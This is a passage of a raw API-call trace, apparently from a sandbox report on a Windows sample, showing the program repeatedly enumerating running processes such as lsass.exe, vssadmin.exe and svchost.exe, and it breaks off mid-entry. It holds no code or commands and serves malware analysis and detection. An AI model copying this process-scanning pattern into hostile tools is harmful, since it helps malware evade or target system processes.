| out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0062.863] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0062.863] RtlFreeAnsiString (AnsiString="msoia.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.863] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0062.863] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168948 [0062.863] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0062.863] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168948) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0062.864] RtlFreeAnsiString (AnsiString="screensaver.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0062.864] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0062.864] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31623b0) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0062.864] RtlFreeAnsiString (AnsiString="surveillance.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0062.864] RtlFreeAnsiString (AnsiString="legends.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0062.864] RtlFreeAnsiString (AnsiString="miniature.exe") [0062.864] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.864] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0062.864] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161da8 [0062.865] RtlFreeAnsiString (AnsiString="spies.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0062.865] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0062.865] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0062.865] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0062.865] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0062.865] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0062.865] RtlFreeAnsiString (AnsiString="allied.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.865] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0062.865] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175a38 [0062.865] RtlFreeAnsiString (AnsiString="geo.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175a38) returned 1 [0062.865] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0062.865] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0062.865] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0062.865] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0062.865] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0062.865] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0062.865] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171510 [0062.866] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0062.866] RtlFreeAnsiString (AnsiString="dupleased.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x31688a8 [0062.866] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0062.866] RtlFreeAnsiString (AnsiString="dllhost.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0062.866] RtlFreeAnsiString (AnsiString="conhost.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0062.866] RtlFreeAnsiString (AnsiString="conhost.exe") [0062.866] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.866] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0062.866] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0062.867] RtlFreeAnsiString (AnsiString="svchost.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0062.867] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0062.867] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x31713f0 [0062.867] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0062.867] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0062.867] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0062.867] RtlFreeAnsiString (AnsiString="conhost.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0062.867] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0062.867] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0062.867] RtlFreeAnsiString (AnsiString="explorer.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0062.867] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0062.867] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0062.867] RtlFreeAnsiString (AnsiString="explorer.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.867] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0062.867] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0062.867] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0062.867] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.868] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0062.868] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0062.868] RtlFreeAnsiString (AnsiString="conhost.exe") [0062.868] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0062.868] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0062.868] Sleep (dwMilliseconds=0x64) [0065.097] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0065.097] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.098] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0065.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.098] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0065.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.098] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0065.098] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.099] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0065.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.099] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0065.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.099] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0065.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.099] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0065.099] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.100] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0065.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.100] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0065.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.100] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0065.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.101] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0065.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.101] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0065.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.101] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0065.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.102] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0065.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.102] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0065.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.102] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0065.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.103] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0065.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.103] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0065.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.104] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0065.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.104] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0065.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.104] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0065.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.105] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0065.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.105] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0065.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.106] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0065.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.106] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0065.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.107] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0065.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.107] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0065.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.108] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0065.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0065.108] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0065.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0065.108] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0065.109] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175ba8 [0065.109] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0065.109] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e50 [0065.109] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0065.109] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0065.109] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0065.109] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0065.109] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0065.109] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175c78 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.110] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0065.110] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | 